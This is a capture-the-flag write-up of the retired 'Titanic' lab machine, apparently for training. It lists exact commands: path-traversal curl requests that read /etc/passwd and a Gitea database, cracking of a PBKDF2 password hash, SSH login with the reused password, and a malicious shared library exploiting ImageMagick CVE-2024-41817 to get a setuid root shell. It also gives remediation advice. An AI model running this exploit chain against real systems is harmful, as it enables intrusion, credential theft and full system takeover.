Titanic
Summary
I exploited a path-traversal flaw in the Flask booking application's file-download endpoint to read arbitrary server files, recovering the Gitea source-control configuration and its SQLite user database. After cracking the developer account's PBKDF2-SHA256 password hash offline, I logged in via SSH — the developer had reused the same password for both Gitea and OS access.
Root was achieved by exploiting CVE-2024-41817: ImageMagick loads shared libraries from its current working directory, and a root-owned cron job processed images in a directory writable by the developer account, allowing a malicious shared library to be planted and executed as root.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p- --min-rate 5000 -oN titanic_nmap.txt $TARGETcurl -sI http://$TARGET/Exact commands 4
curl -sS --path-as-is 'http://titanic.htb/download?ticket=../../../../../etc/passwd'curl -sS --path-as-is 'http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/conf/app.ini'curl -sS --path-as-is 'http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/gitea.db' -o /tmp/titanic_gitea.dbfile /tmp/titanic_gitea.dbFixSanitise the file download path parameter to prevent directory traversalCritical
Exact commands 4
sqlite3 /tmp/titanic_gitea.db "SELECT name, passwd, salt FROM user;"echo '$PASSWORD3' > /tmp/developer.hashjohn --format=PBKDF2-HMAC-SHA256 /tmp/developer.hash --wordlist=/usr/share/wordlists/rockyou.txtjohn --show --format=PBKDF2-HMAC-SHA256 /tmp/developer.hashFixEnforce strong passwords and multi-factor authentication on GiteaHigh
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null developer@$TARGETid && hostname && cat /home/developer/user.txtFixDisable SSH password authentication and enforce unique credentials per serviceHigh
Exact commands 5
ls -la /opt/app/static/assets/images/cat > /opt/app/static/assets/images/xcbroot.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("/bin/cp /bin/bash /tmp/rootbash; /bin/chmod 4755 /tmp/rootbash; /bin/cat /root/root.txt > /tmp/rootflag; /bin/chmod 644 /tmp/rootflag");
}
EOFgcc -x c -shared -fPIC -nostartfiles -o /opt/app/static/assets/images/libxcb.so.1 /opt/app/static/assets/images/xcbroot.cwatch -n 5 ls -la /tmp/rootbash/tmp/rootbash -p -c 'id; cat /root/root.txt'FixPatch ImageMagick for CVE-2024-41817 and restrict the cron job's working directoryCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 |